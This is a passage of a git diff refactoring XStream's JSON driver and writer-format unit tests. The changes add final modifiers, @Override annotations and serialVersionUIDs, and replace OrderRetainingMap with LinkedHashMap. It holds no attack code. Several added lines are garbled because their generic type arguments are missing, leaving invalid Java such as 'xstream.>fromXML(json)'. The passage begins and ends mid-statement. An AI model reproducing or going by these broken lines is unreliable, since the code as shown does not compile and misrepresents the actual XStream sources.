ArrayList(); + final Product product = new Product("Banana", "123", 23.00); + final ArrayList list1 = new ArrayList(); list1.add(product); - String json = xstream.toXML(list1); + final String json = xstream.toXML(list1); assertEquals("{'list':[{'product':{'name':'Banana','id':123,'price':23}}]}".replace('\'', '"'), json); - ArrayList list2 = (ArrayList)xstream.fromXML(json); + final ArrayList list2 = xstream.>fromXML(json); assertEquals(json, xstream.toXML(list2)); } public void testListWithComplexNestedObjects() { - ArrayList list1 = new ArrayList(); + final ArrayList list1 = new ArrayList(); list1.add(new Product("Banana", "123", 23.00)); list1.add(new Product("Apple", "47", 11.00)); list1.add(new Product("Orange", "100", 42.00)); - ArrayList tags = new ArrayList(); - ((Product)list1.get(1)).setTags(tags); + final ArrayList tags = new ArrayList(); + list1.get(1).setTags(tags); tags.add(new Product("Braeburn", "47.1", 10.00)); - String json = xstream.toXML(list1); + final String json = xstream.toXML(list1); assertEquals( "{'list':[{'product':[{'name':'Banana','id':123,'price':23},{'name':'Apple','id':47,'price':11,'tags':[{'product':{'name':'Braeburn','id':47.1,'price':10}}]},{'name':'Orange','id':100,'price':42}]}]}" - .replace('\'', '"'), json); - ArrayList list2 = (ArrayList)xstream.fromXML(json); + .replace('\'', '"'), json); + final ArrayList list2 = xstream.>fromXML(json); assertEquals(json, xstream.toXML(list2)); } public void todoTestEmptyList() { - ArrayList list1 = new ArrayList(); - String json = xstream.toXML(list1); + final ArrayList list1 = new ArrayList(); + final String json = xstream.toXML(list1); assertEquals("{'list':[]}".replace('\'', '"'), json); - ArrayList list2 = (ArrayList)xstream.fromXML(json); + final ArrayList list2 = xstream.>fromXML(json); assertEquals(json, xstream.toXML(list2)); } public static class Topic extends StandardObject { + private static final long serialVersionUID = 200811L; long id; String description; Date createdOn; } public void testDefaultValue() { - Topic topic1 = new Topic(); + final Topic topic1 = new Topic(); topic1.id = 4711; topic1.description = "JSON"; topic1.createdOn = new Timestamp(1000); xstream.alias("topic", Topic.class); - String json = xstream.toXML(topic1); + final String json = xstream.toXML(topic1); assertEquals( "{'topic':{'id':4711,'description':'JSON','createdOn':{'@class':'sql-timestamp','$':'1970-01-01 00:00:01'}}}" .replace('\'', '"'), json); - Topic topic2 = (Topic)xstream.fromXML(json); + final Topic topic2 = (Topic)xstream.fromXML(json); assertEquals(json, xstream.toXML(topic2)); } public void testLongValueWithHighPrecision() { - Topic topic1 = new Topic(); + final Topic topic1 = new Topic(); topic1.id = Long.MAX_VALUE; topic1.description = "JSON"; xstream.alias("topic", Topic.class); - String json = xstream.toXML(topic1); + final String json = xstream.toXML(topic1); assertEquals("{'topic':{'id':9223372036854775807,'description':'JSON'}}".replace('\'', '"'), json); - Topic topic2 = (Topic)xstream.fromXML(json); + final Topic topic2 = (Topic)xstream.fromXML(json); assertEquals(json, xstream.toXML(topic2)); } public void testEmbeddedXml() { - ArrayList list1 = new ArrayList(); + final ArrayList list1 = new ArrayList(); list1.add("]]>"); - String json = xstream.toXML(list1); + final String json = xstream.toXML(list1); assertEquals("{\"list\":[{\"string\":\"]]><\\/xml>\"}]}", json); - ArrayList list2 = (ArrayList)xstream.fromXML(json); + final ArrayList list2 = xstream.>fromXML(json); assertEquals(json, xstream.toXML(list2)); } public void testArrayList() { - ArrayList list1 = new ArrayList(); - list1.clear(); + final ArrayList list1 = new ArrayList(); list1.add(new Integer(12)); - list1.add("string"); list1.add(new Integer(13)); - String json = xstream.toXML(list1); - - ArrayList list2 = (ArrayList)xstream.fromXML(json); + final String json = xstream.toXML(list1); + final ArrayList list2 = xstream.>fromXML(json); assertEquals(json, xstream.toXML(list2)); } - + private static class SpecialCharacters extends StandardObject { + private static final long serialVersionUID = 201010L; + @SuppressWarnings("unused") String _foo__$_; } public void testSpecialNames() { - SpecialCharacters sc = new SpecialCharacters(); + final SpecialCharacters sc = new SpecialCharacters(); sc._foo__$_ = "bar"; - String json = xstream.toXML(sc); + final String json = xstream.toXML(sc); assertEquals( "{'com.thoughtworks.xstream.io.json.JettisonMappedXmlDriverTest$SpecialCharacters':{'_foo__$_':'bar'}}" .replace('\'', '"'), json); - SpecialCharacters sc2 = (SpecialCharacters)xstream.fromXML(json); + final SpecialCharacters sc2 = (SpecialCharacters)xstream.fromXML(json); assertEquals(json, xstream.toXML(sc2)); } - - public void testProperties() - { - Properties properties = new Properties(); + + public void testProperties() { + final Properties properties = new Properties(); properties.setProperty("key.1", "Value 1"); String json = xstream.toXML(properties); assertEquals("{'properties':[{'property':{'@name':'key.1','@value':'Value 1'}}]}".replace('\'', '"'), json); Properties properties2 = (Properties)xstream.fromXML(json); assertEquals(json, xstream.toXML(properties2)); - + properties.setProperty("key.2", "Value 2"); json = xstream.toXML(properties); - assertEquals("{'properties':[{'property':[{'@name':'key.2','@value':'Value 2'},{'@name':'key.1','@value':'Value 1'}]}]}".replace('\'', '"'), json); + assertEquals( + "{'properties':[{'property':[{'@name':'key.2','@value':'Value 2'},{'@name':'key.1','@value':'Value 1'}]}]}" + .replace('\'', '"'), json); properties2 = (Properties)xstream.fromXML(json); assertEquals(json, xstream.toXML(properties2)); } - - public void testEmptyArray() - { + + public void testEmptyArray() { xstream.alias("exception", Exception.class); - Exception[] exceptions = new Exception[3]; - String json = xstream.toXML(exceptions); + final Exception[] exceptions = new Exception[3]; + final String json = xstream.toXML(exceptions); assertEquals("{'exception-array':[{'null':['','','']}]}".replace('\'', '"'), json); - Exception[] exceptions2 = (Exception[])xstream.fromXML(json); + final Exception[] exceptions2 = (Exception[])xstream.fromXML(json); assertEquals(json, xstream.toXML(exceptions2)); } public void todoTestCanMarshalEmbeddedExternalizable() { xstream.alias("owner", OwnerOfExternalizable.class); - - OwnerOfExternalizable in = new OwnerOfExternalizable(); + + final OwnerOfExternalizable in = new OwnerOfExternalizable(); in.target = new SomethingExternalizable("Joe", "Walnes"); - String json = xstream.toXML(in); + final String json = xstream.toXML(in); // already wrong, Jettison reorders elements ... - assertEquals("{'owner':{'target':{'int':3,'string':['JoeWalnes','XStream'],'null':''}}}".replace('\'', '"'), json); - OwnerOfExternalizable owner = (OwnerOfExternalizable)xstream.fromXML(json); + assertEquals("{'owner':{'target':{'int':3,'string':['JoeWalnes','XStream'],'null':''}}}".replace('\'', '"'), + json); + final OwnerOfExternalizable owner = (OwnerOfExternalizable)xstream.fromXML(json); assertEquals(json, xstream.toXML(owner)); assertEquals(in.target, owner.target); } diff --git a/xstream/src/test/com/thoughtworks/xstream/io/json/JsonHierarchicalStreamDriverTest.java b/xstream/src/test/com/thoughtworks/xstream/io/json/JsonHierarchicalStreamDriverTest.java index 879d76aeb..25d90df8c 100644 --- a/xstream/src/test/com/thoughtworks/xstream/io/json/JsonHierarchicalStreamDriverTest.java +++ b/xstream/src/test/com/thoughtworks/xstream/io/json/JsonHierarchicalStreamDriverTest.java @@ -1,12 +1,12 @@ /* * Copyright (C) 2006 Joe Walnes. - * Copyright (C) 2006, 2007, 2008, 2009, 2011, 2012, 2017 XStream Committers. + * Copyright (C) 2006, 2007, 2008, 2009, 2011, 2012, 2017, 2018 XStream Committers. * All rights reserved. * * The software in this package is published under the terms of the BSD * style license a copy of which has been included with this distribution in * the LICENSE.txt file. - * + * * Created on 22. June 2006 by Mauro Talevi */ package com.thoughtworks.xstream.io.json; @@ -40,28 +40,25 @@ /** - * Some of these test cases are taken from example JSON listed at - * http://www.json.org/example.html - * + * Some of these test cases are taken from example JSON listed at http://www.json.org/example.html + * * @author Paul Hammant * @author Jörg Schaible */ public class JsonHierarchicalStreamDriverTest extends TestCase { protected XStream xstream; - /** - * @see junit.framework.TestCase#setUp() - */ + @Override protected void setUp() throws Exception { super.setUp(); xstream = new XStream(createDriver()); } - + protected JsonHierarchicalStreamDriver createDriver() { return new JsonHierarchicalStreamDriver(); } - - protected String normalizeExpectation(String expected) { + + protected String normalizeExpectation(final String expected) { return expected.replace('\'', '"'); } @@ -69,7 +66,7 @@ public void testDoesNotSupportReader() { try { new JsonHierarchicalStreamDriver().createReader((Reader)null); fail("should have barfed"); - } catch (UnsupportedOperationException uoe) { + } catch (final UnsupportedOperationException uoe) { // expected } } @@ -78,14 +75,14 @@ public void testDoesNotSupportInputStream() { try { new JsonHierarchicalStreamDriver().createReader((InputStream)null); fail("should have barfed"); - } catch (UnsupportedOperationException uoe) { + } catch (final UnsupportedOperationException uoe) { // expected } } public void testCanMarshalSimpleTypes() { - String expected = normalizeExpectation("" + final String expected = normalizeExpectation("" + "{'innerMessage': {\n" + " 'long1': 5,\n" + " 'long2': 42,\n" @@ -121,7 +118,7 @@ public void testCanMarshalSimpleTypes() { xstream.alias("innerMessage", Message.class); - Message message = new Message("hello"); + final Message message = new Message("hello"); message.long1 = 5L; message.long2 = new Long(42); message.int1 = 2; @@ -139,10 +136,9 @@ public void testCanMarshalSimpleTypes() { message.double1 = 2.1; message.double2 = new Double(2.2); message.bigInt = new BigInteger(new byte[]{(byte)1, (byte)0xFF}); - message.bigDec = new BigDecimal(314).divide( - new BigDecimal(100), 2, BigDecimal.ROUND_FLOOR); + message.bigDec = new BigDecimal(314).divide(new BigDecimal(100), 2, BigDecimal.ROUND_FLOOR); - Message message2 = new Message("bonjour"); + final Message message2 = new Message("bonjour"); message2.int1 = 3; message.innerMessage = message2; @@ -172,7 +168,7 @@ public static class Message { BigDecimal bigDec; Message innerMessage; - public Message(String greeting) { + public Message(final String greeting) { this.greeting = greeting; } } @@ -198,7 +194,10 @@ public Message(String greeting) { + " 'value': 'Close',\n" + " 'onclick': 'CloseDoc()'\n" + " }"; - protected String expectedMenuEnd = "" + " ]\n" + " }\n" + "}}"; + protected String expectedMenuEnd = "" // + + " ]\n" + + " }\n" + + "}}"; protected String expected = "" // + expectedMenuStart + "\n" @@ -207,7 +206,8 @@ public Message(String greeting) { + expectedOpen + ",\n" + expectedClose - + "\n" + expectedMenuEnd; + + "\n" + + expectedMenuEnd; public void testCanMarshalLists() { @@ -216,7 +216,7 @@ public void testCanMarshalLists() { xstream.alias("menu", MenuWithList.class); xstream.alias("menuitem", MenuItem.class); - MenuWithList menu = new MenuWithList(); + final MenuWithList menu = new MenuWithList(); assertEquals(normalizeExpectation(expected), xstream.toXML(menu)); } @@ -226,7 +226,7 @@ public void testCanMarshalArrays() { xstream.alias("menu", MenuWithArray.class); xstream.alias("menuitem", MenuItem.class); - MenuWithArray menu = new MenuWithArray(); + final MenuWithArray menu = new MenuWithArray(); assertEquals(normalizeExpectation(expected), xstream.toXML(menu)); } @@ -238,9 +238,9 @@ public void testCanMarshalSets() { xstream.alias("menu", MenuWithSet.class); xstream.alias("menuitem", MenuItem.class); - MenuWithSet menu = new MenuWithSet(); + final MenuWithSet menu = new MenuWithSet(); - String json = xstream.toXML(menu); + final String json = xstream.toXML(menu); assertTrue(json.startsWith(normalizeExpectation(expectedMenuStart))); assertTrue(json.indexOf(expectedNew.replace('\'', '"')) > 0); assertTrue(json.indexOf(expectedOpen.replace('\'', '"')) > 0); @@ -255,9 +255,9 @@ public static class MenuWithList { } public static class PopupWithList { - List menuitem; + List menuitem; { - menuitem = new ArrayList(); + menuitem = new ArrayList(); menuitem.add(new MenuItem("New", "CreateNewDoc()")); menuitem.add(new MenuItem("Open", "OpenDoc()")); menuitem.add(new MenuItem("Close", "CloseDoc()")); @@ -272,8 +272,8 @@ public static class MenuWithArray { public static class PopupWithArray { MenuItem[] menuitem = new MenuItem[]{ - new MenuItem("New", "CreateNewDoc()"), new MenuItem("Open", "OpenDoc()"), - new MenuItem("Close", "CloseDoc()")}; + new MenuItem("New", "CreateNewDoc()"), new MenuItem("Open", "OpenDoc()"), new MenuItem("Close", + "CloseDoc()")}; } public static class MenuWithSet { @@ -283,9 +283,9 @@ public static class MenuWithSet { } public static class PopupWithSet { - Set menuitem; + Set menuitem; { - menuitem = new HashSet(); + menuitem = new HashSet(); menuitem.add(new MenuItem("New", "CreateNewDoc()")); menuitem.add(new MenuItem("Open", "OpenDoc()")); menuitem.add(new MenuItem("Close", "CloseDoc()")); @@ -297,11 +297,12 @@ public static class MenuItem { public String value; // assume unique public String onclick; - public MenuItem(String value, String onclick) { + public MenuItem(final String value, final String onclick) { this.value = value; this.onclick = onclick; } + @Override public int hashCode() { return value.hashCode(); } @@ -312,7 +313,7 @@ public void testCanMarshalTypesWithPrimitives() { // This also from http://www.expected.org/example.html - String expected = normalizeExpectation("" // + final String expected = normalizeExpectation("" // + "{'widget': {\n" + " 'debug': 'on',\n" + " 'window': {\n" @@ -345,7 +346,7 @@ public void testCanMarshalTypesWithPrimitives() { xstream.alias("image", Image.class); xstream.alias("text", Text.class); - Widget widget = new Widget(); + final Widget widget = new Widget(); assertEquals(expected, xstream.toXML(widget)); @@ -385,8 +386,8 @@ public static class Text { } public void testColor() { - Color color = Color.black; - String expected = normalizeExpectation("" // + final Color color = Color.black; + final String expected = normalizeExpectation("" // + "{'awt-color': {\n" + " 'red': 0,\n" + " 'green': 0,\n" @@ -397,9 +398,8 @@ public void testColor() { } public void testDoesHandleQuotesAndEscapes() { - String[] strings = new String[]{ - "last\"", "\"first", "\"between\"", "around \"\" it", "back\\slash",}; - String expected = normalizeExpectation("" + final String[] strings = new String[]{"last\"", "\"first", "\"between\"", "around \"\" it", "back\\slash",}; + final String expected = normalizeExpectation("" + "{'string-array': [\n" + " 'last\\\"',\n" + " '\\\"first',\n" @@ -411,28 +411,28 @@ public void testDoesHandleQuotesAndEscapes() { } public void testDoesEscapeValuesAccordingRfc4627() { - String expected = normalizeExpectation("{'string': '\\u0000\\u0001\\u001f \uffee'}"); + final String expected = normalizeExpectation("{'string': '\\u0000\\u0001\\u001f \uffee'}"); assertEquals(expected, xstream.toXML("\u0000\u0001\u001f\u0020\uffee")); } public void testSimpleInteger() { - String expected = normalizeExpectation("{'int': 123}"); + final String expected = normalizeExpectation("{'int': 123}"); assertEquals(expected, xstream.toXML(new Integer(123))); } public void testBracesAndSquareBracketsAreNotEscaped() { - String expected = normalizeExpectation("{'string': '..{}[],,'}"); + final String expected = normalizeExpectation("{'string': '..{}[],,'}"); assertEquals(expected, xstream.toXML("..{}[],,")); } public void testCanMarshalSimpleTypesWithNullMembers() { - Msg message = new Msg("hello"); - Msg message2 = new Msg(null); + final Msg message = new Msg("hello"); + final Msg message2 = new Msg(null); message.innerMessage = message2; xstream.alias("innerMessage", Msg.class); - String expected = normalizeExpectation("" + final String expected = normalizeExpectation("" + "{'innerMessage': {\n" + " 'greeting': 'hello',\n" + " 'innerMessage': {}\n" @@ -444,7 +444,7 @@ public static class Msg { String greeting; Msg innerMessage; - public Msg(String greeting) { + public Msg(final String greeting) { this.greeting = greeting; } } @@ -452,7 +452,7 @@ public Msg(String greeting) { public void testCanMarshalElementWithEmptyArray() { xstream.alias("element", ElementWithEmptyArray.class); - String expected = normalizeExpectation("" // + final String expected = normalizeExpectation("" // + "{'element': {\n" + " 'array': []\n" + "}}"); @@ -464,39 +464,41 @@ public static class ElementWithEmptyArray { } public void testCanMarshalJavaMap() { - String entry1 = "" // entry 1 + final String entry1 = "" // entry 1 + " [\n" + " 'one',\n" + " 1\n" + " ]"; - String entry2 = "" // entry 2 + final String entry2 = "" // entry 2 + " [\n" + " 'two',\n" + " 2\n" + " ]"; - final Map map = new HashMap(); + final Map map = new HashMap(); map.put("one", new Integer(1)); map.put("two", new Integer(2)); - String actual = xstream.toXML(map); - int idx1 = actual.indexOf("one"); - int idx2 = actual.indexOf("two"); + final String actual = xstream.toXML(map); + final int idx1 = actual.indexOf("one"); + final int idx2 = actual.indexOf("two"); - String expected = normalizeExpectation("" + final String expected = normalizeExpectation("" + "{'map': [\n" - + ((idx1 < idx2 ? entry1 : entry2) + ",\n") - + ((idx1 < idx2 ? entry2 : entry1) + "\n") // no comma - + "]}"); + + (idx1 < idx2 ? entry1 : entry2) + + ",\n" + + (idx1 < idx2 ? entry2 : entry1) + + "\n" // no comma + + "]}"); assertEquals(expected, actual); } public void testCanMarshalProperties() { - String entry1 = "" // entry 1 + final String entry1 = "" // entry 1 + " {\n" + " '@name': 'one',\n" + " '@value': '1'\n" + " }"; - String entry2 = "" // entry 2 + final String entry2 = "" // entry 2 + " {\n" + " '@name': 'two',\n" + " '@value': '2'\n" @@ -505,59 +507,63 @@ public void testCanMarshalProperties() { final Properties properties = new Properties(); properties.setProperty("one", "1"); properties.setProperty("two", "2"); - String actual = xstream.toXML(properties); - int idx1 = actual.indexOf("one"); - int idx2 = actual.indexOf("two"); + final String actual = xstream.toXML(properties); + final int idx1 = actual.indexOf("one"); + final int idx2 = actual.indexOf("two"); - String expected = normalizeExpectation("" + final String expected = normalizeExpectation("" + "{'properties': [\n" - + ((idx1 < idx2 ? entry1 : entry2) + ",\n") - + ((idx1 < idx2 ? entry2 : entry1) + "\n") // no comma - + "]}"); + + (idx1 < idx2 ? entry1 : entry2) + + ",\n" + + (idx1 < idx2 ? entry2 : entry1) + + "\n" // no comma + + "]}"); assertEquals(expected, actual); } - final static class MapHolder { - private Map map = new HashMap(); + final static class MapHolder { + private final Map map = new HashMap(); } public void testCanMarshalNestedMap() { xstream.alias("holder", MapHolder.class); - String entry1 = "" // entry 1 + final String entry1 = "" // entry 1 + " [\n" + " 'one',\n" + " 1\n" + " ]"; - String entry2 = "" // entry 2 + final String entry2 = "" // entry 2 + " [\n" + " 'two',\n" + " 2\n" + " ]"; - final MapHolder holder = new MapHolder(); + final MapHolder holder = new MapHolder(); holder.map.put("one", new Integer(1)); holder.map.put("two", new Integer(2)); - String actual = xstream.toXML(holder); - int idx1 = actual.indexOf("one"); - int idx2 = actual.indexOf("two"); + final String actual = xstream.toXML(holder); + final int idx1 = actual.indexOf("one"); + final int idx2 = actual.indexOf("two"); - String expected = normalizeExpectation("" + final String expected = normalizeExpectation("" + "{'holder': {\n" + " 'map': [\n" - + ((idx1 < idx2 ? entry1 : entry2) + ",\n") - + ((idx1 < idx2 ? entry2 : entry1) + "\n") + + (idx1 < idx2 ? entry1 : entry2) + + ",\n" + + (idx1 < idx2 ? entry2 : entry1) + + "\n" + " ]\n" // no comma - + "}}"); + + "}}"); assertEquals(expected, actual); } - static class CollectionKeeper { - Collection coll = new ArrayList(); + static class CollectionKeeper { + Collection coll = new ArrayList(); } public void testIgnoresAttributeForCollectionMember() { xstream.alias("keeper", CollectionKeeper.class); - String expected = normalizeExpectation("" // + final String expected = normalizeExpectation("" // + "{'keeper': {\n" + " 'coll': [\n" + " 'one',\n" @@ -565,7 +571,7 @@ public void testIgnoresAttributeForCollectionMember() { + " ]\n" + "}}"); - final CollectionKeeper holder = new CollectionKeeper(); + final CollectionKeeper holder = new CollectionKeeper(); holder.coll.add("one"); holder.coll.add("two"); assertEquals(expected, xstream.toXML(holder)); @@ -576,7 +582,7 @@ public void testDoesWriteAttributesAsStringValues() { xstream.alias("window", Window.class); xstream.useAttributeFor("width", int.class); xstream.useAttributeFor("height", int.class); - String expected = normalizeExpectation("" + final String expected = normalizeExpectation("" + "{'window': {\n" + " '@width': '500',\n" + " '@height': '500',\n" @@ -593,12 +599,12 @@ static class Person { String firstName; String lastName; Calendar dateOfBirth; - Map titles = new TreeMap(); + Map titles = new TreeMap(); } public void testCanWriteEmbeddedCalendar() { xstream.alias("person", Person.class); - String expected = normalizeExpectation("" + final String expected = normalizeExpectation("" + "{'list': [\n" + " {\n" + " 'firstName': 'Joe',\n" @@ -616,14 +622,14 @@ public void testCanWriteEmbeddedCalendar() { + " }\n" + "]}"); - Person person = new Person(); + final Person person = new Person(); person.firstName = "Joe"; person.lastName = "Walnes"; person.dateOfBirth = Calendar.getInstance(TimeZone.getTimeZone("Europe/London")); person.dateOfBirth.clear(); person.dateOfBirth.set(1900, Calendar.DECEMBER, 31); person.titles.put("1", "Mr"); - List list = new ArrayList(); + final List list = new ArrayList(); list.add(person); assertEquals(expected, xstream.toXML(list)); } @@ -635,57 +641,57 @@ static class SingleValue { public void testSupportsAllConvertersWithASingleValue() throws MalformedURLException { xstream.alias("sv", SingleValue.class); - String expected = normalizeExpectation("" + final String expected = normalizeExpectation("" + "{'sv': {\n" + " 'l': 4711,\n" + " 'url': 'http://localhost:8888'\n" + "}}"); - SingleValue value = new SingleValue(); + final SingleValue value = new SingleValue(); value.l = 4711; value.url = new URL("http://localhost:8888"); assertEquals(expected, xstream.toXML(value)); } - + static class SystemAttributes { String name; Object object; Original original; } - + public void testWillWriteTagValueAsDefaultValueIfNecessary() { xstream.alias("sa", SystemAttributes.class); xstream.alias("original", Original.class); xstream.alias("replaced", Replaced.class); - SystemAttributes sa = new SystemAttributes(); + final SystemAttributes sa = new SystemAttributes(); sa.name = "joe"; sa.object = "walnes"; sa.original = new Original("hello world"); - String expected = normalizeExpectation("" - + "{'sa': {\n" - + " 'name': 'joe',\n" - + " 'object': {\n" - + " '@class': 'string',\n" - + " '$': 'walnes'\n" - +" },\n" - + " 'original': {\n" - + " '@resolves-to': 'replaced',\n" - + " 'replacedValue': 'HELLO WORLD'\n" - + " }\n" - + "}}"); + final String expected = normalizeExpectation("" + + "{'sa': {\n" + + " 'name': 'joe',\n" + + " 'object': {\n" + + " '@class': 'string',\n" + + " '$': 'walnes'\n" + + " },\n" + + " 'original': {\n" + + " '@resolves-to': 'replaced',\n" + + " 'replacedValue': 'HELLO WORLD'\n" + + " }\n" + + "}}"); assertEquals(expected, xstream.toXML(sa)); } - + public void testRealTypeIsHonoredWhenWritingTheValue() { xstream.alias("sa", SystemAttributes.class); - List list = new ArrayList(); + final List list = new ArrayList(); list.add("joe"); list.add("mauro"); - SystemAttributes[] sa = new SystemAttributes[2]; + final SystemAttributes[] sa = new SystemAttributes[2]; sa[0] = new SystemAttributes(); sa[0].name = "year"; sa[0].object = new Integer(2000); @@ -693,32 +699,32 @@ public void testRealTypeIsHonoredWhenWritingTheValue() { sa[1].name = "names"; sa[1].object = list; - String expected = normalizeExpectation("" - + "{'sa-array': [\n" - + " {\n" - + " 'name': 'year',\n" - + " 'object': {\n" - + " '@class': 'int',\n" - + " '$': 2000\n" - + " }\n" - + " },\n" - + " {\n" - + " 'name': 'names',\n" - + " 'object': [\n" - + " 'joe',\n" - + " 'mauro'\n" - + " ]\n" - + " }\n" - + "]}"); + final String expected = normalizeExpectation("" + + "{'sa-array': [\n" + + " {\n" + + " 'name': 'year',\n" + + " 'object': {\n" + + " '@class': 'int',\n" + + " '$': 2000\n" + + " }\n" + + " },\n" + + " {\n" + + " 'name': 'names',\n" + + " 'object': [\n" + + " 'joe',\n" + + " 'mauro'\n" + + " ]\n" + + " }\n" + + "]}"); assertEquals(expected, xstream.toXML(sa)); } public void testCanMarshalExternalizable() { xstream.alias("ext", SomethingExternalizable.class); - - SomethingExternalizable in = new SomethingExternalizable("Joe", "Walnes"); - String expected = normalizeExpectation("" + + final SomethingExternalizable in = new SomethingExternalizable("Joe", "Walnes"); + final String expected = normalizeExpectation("" + "{'ext': [\n" + " 3,\n" + " 'JoeWalnes',\n" @@ -731,10 +737,10 @@ public void testCanMarshalExternalizable() { public void testCanMarshalEmbeddedExternalizable() { xstream.alias("owner", OwnerOfExternalizable.class); - - OwnerOfExternalizable in = new OwnerOfExternalizable(); + + final OwnerOfExternalizable in = new OwnerOfExternalizable(); in.target = new SomethingExternalizable("Joe", "Walnes"); - String expected = normalizeExpectation("" + final String expected = normalizeExpectation("" + "{'owner': {\n" + " 'target': [\n" + " 3,\n" diff --git a/xstream/src/test/com/thoughtworks/xstream/io/json/JsonWriterFormatTest.java b/xstream/src/test/com/thoughtworks/xstream/io/json/JsonWriterFormatTest.java index f5e679734..be0eeec74 100644 --- a/xstream/src/test/com/thoughtworks/xstream/io/json/JsonWriterFormatTest.java +++ b/xstream/src/test/com/thoughtworks/xstream/io/json/JsonWriterFormatTest.java @@ -1,5 +1,5 @@ /* - * Copyright (C) 2009, 2010, 2011, 2013 XStream Committers. + * Copyright (C) 2009, 2010, 2011, 2013, 2018 XStream Committers. * All rights reserved. * * The software in this package is published under the terms of the BSD @@ -14,7 +14,7 @@ import java.io.Writer; import java.util.ArrayList; import java.util.HashMap; -import java.util.Iterator; +import java.util.LinkedHashMap; import java.util.LinkedList; import java.util.Map; import java.util.Properties; @@ -31,8 +31,6 @@ import com.thoughtworks.xstream.converters.MarshallingContext; import com.thoughtworks.xstream.converters.UnmarshallingContext; import com.thoughtworks.xstream.converters.extended.ToStringConverter; -import com.thoughtworks.xstream.core.util.OrderRetainingMap; -import com.thoughtworks.xstream.io.ExtendedHierarchicalStreamWriterHelper; import com.thoughtworks.xstream.io.HierarchicalStreamReader; import com.thoughtworks.xstream.io.HierarchicalStreamWriter; import com.thoughtworks.xstream.io.json.JsonWriter.Format; @@ -45,49 +43,58 @@ /** * Tests the {@link JsonWriter} formats. - * + * * @author Jörg Schaible */ public class JsonWriterFormatTest extends TestCase { - private XStream xstream; - private Object target; + private final XStream xstream; + private final Object target; private final int mode; private final Format format; private final String json; public static class YString extends Y { - public YString(String y) { - this.yField = y; + private static final long serialVersionUID = 201101L; + + public YString(final String y) { + yField = y; } + + @Override public String toString() { return yField; } } - + private final static class HandlerConverter implements Converter { - public boolean canConvert(Class type) { + @Override + public boolean canConvert(final Class type) { return type == Handler.class; } - - public void marshal(Object source, HierarchicalStreamWriter writer, MarshallingContext context) { - Handler h = (Handler)source; + + @Override + public void marshal(final Object source, final HierarchicalStreamWriter writer, + final MarshallingContext context) { + final Handler h = (Handler)source; writer.startNode("str"); writer.setValue("test"); writer.endNode(); writer.startNode("protocol"); context.convertAnother(h.getProtocol()); writer.endNode(); - ExtendedHierarchicalStreamWriterHelper.startNode(writer, "i", int.class); + final HierarchicalStreamWriter writer1 = writer; + writer1.startNode("i", int.class); writer.setValue("42"); writer.endNode(); } - - public Object unmarshal(HierarchicalStreamReader reader, UnmarshallingContext context) { + + @Override + public Object unmarshal(final HierarchicalStreamReader reader, final UnmarshallingContext context) { reader.moveDown(); reader.moveUp(); reader.moveDown(); - Protocol p = (Protocol)context.convertAnother(null, Protocol.class); + final Protocol p = (Protocol)context.convertAnother(null, Protocol.class); reader.moveUp(); reader.moveDown(); reader.moveUp(); @@ -96,11 +103,12 @@ public Object unmarshal(HierarchicalStreamReader reader, UnmarshallingContext co } public JsonWriterFormatTest( - String name, Object target, String json, int writerMode, JsonWriter.Format format) { + final String name, final Object target, final String json, final int writerMode, + final JsonWriter.Format format) { super(name); this.target = target; this.json = json; - this.mode = writerMode; + mode = writerMode; this.format = format; xstream = new XStream(); @@ -114,28 +122,30 @@ public JsonWriterFormatTest( xstream.useAttributeFor(OpenSourceSoftware.class, "license"); try { xstream.registerConverter(new ToStringConverter(YString.class)); - } catch (NoSuchMethodException e) { + } catch (final NoSuchMethodException e) { throw new AssertionFailedError(e.getMessage()); } xstream.registerConverter(new HandlerConverter()); } + @Override protected void runTest() throws Throwable { assertEquals(json, toJSON(mode, format)); } - private String toJSON(int mode, JsonWriter.Format format) { + private String toJSON(final int mode, final JsonWriter.Format format) { final StringWriter writer = new StringWriter(1024); try { writeJSON(writer, mode, format); return writer.toString(); } finally { - //System.out.println(writer.toString() + " ---> " + getName()); + // System.out.println(writer.toString() + " ---> " + getName()); } } - private void writeJSON(Writer writer, int mode, JsonWriter.Format format) { - JsonWriter jsonWriter = new JsonWriter(writer, mode, format, 0); + private void writeJSON(final Writer writer, final int mode, final JsonWriter.Format format) { + @SuppressWarnings("resource") + final JsonWriter jsonWriter = new JsonWriter(writer, mode, format, 0); try { xstream.marshal(target, jsonWriter); } finally { @@ -144,19 +154,18 @@ private void writeJSON(Writer writer, int mode, JsonWriter.Format format) { } public static Test suite() { - final Map modes = new OrderRetainingMap(); + final Map modes = new LinkedHashMap(); modes.put("optimized", new Integer(0)); modes.put("noRoot", new Integer(AbstractJsonWriter.DROP_ROOT_MODE)); modes.put("explicit", new Integer(AbstractJsonWriter.EXPLICIT_MODE)); - final Map formats = new OrderRetainingMap(); - formats.put("Minimal", new JsonWriter.Format( - new char[0], new char[0], JsonWriter.Format.COMPACT_EMPTY_ELEMENT)); - formats.put("Pretty", new JsonWriter.Format( - " ".toCharArray(), "\n".toCharArray(), JsonWriter.Format.SPACE_AFTER_LABEL)); - formats.put("Compact", new JsonWriter.Format( - " ".toCharArray(), "\n".toCharArray(), JsonWriter.Format.SPACE_AFTER_LABEL - | JsonWriter.Format.COMPACT_EMPTY_ELEMENT)); + final Map formats = new LinkedHashMap(); + formats.put("Minimal", new JsonWriter.Format(new char[0], new char[0], + JsonWriter.Format.COMPACT_EMPTY_ELEMENT)); + formats.put("Pretty", new JsonWriter.Format(" ".toCharArray(), "\n".toCharArray(), + JsonWriter.Format.SPACE_AFTER_LABEL)); + formats.put("Compact", new JsonWriter.Format(" ".toCharArray(), "\n".toCharArray(), + JsonWriter.Format.SPACE_AFTER_LABEL | JsonWriter.Format.COMPACT_EMPTY_ELEMENT)); final Properties properties = new Properties(); properties.put("one", "1"); @@ -166,12 +175,12 @@ public static Test suite() { x.innerObj = new YString("Y"); final X emptyX = new X(); emptyX.innerObj = new Y(); - final SampleLists lists = new SampleLists(); - lists.good = new LinkedList(); + final SampleLists lists = new SampleLists(); + lists.good = new LinkedList(); lists.good.add("XStream"); - lists.bad = new TreeSet(); + lists.bad = new TreeSet(); lists.bad.add(new X()); - final Map targets = new OrderRetainingMap(); + final Map targets = new LinkedHashMap(); targets.put("String", "text"); targets.put("CharSequenceArray", new CharSequence[]{"text", new StringBuffer("buffer"), null}); targets.put("CharSequenceArray+ID", new CharSequence[]{"text", new StringBuffer("buffer"), null}); @@ -183,10 +192,10 @@ public static Test suite() { targets.put("X", x); targets.put("EmptyX", emptyX); targets.put("Collections", lists); - targets.put("EmptyList", new ArrayList()); + targets.put("EmptyList", new ArrayList()); targets.put("CustomConverter", new Handler(new Protocol("ldap"))); - final Map 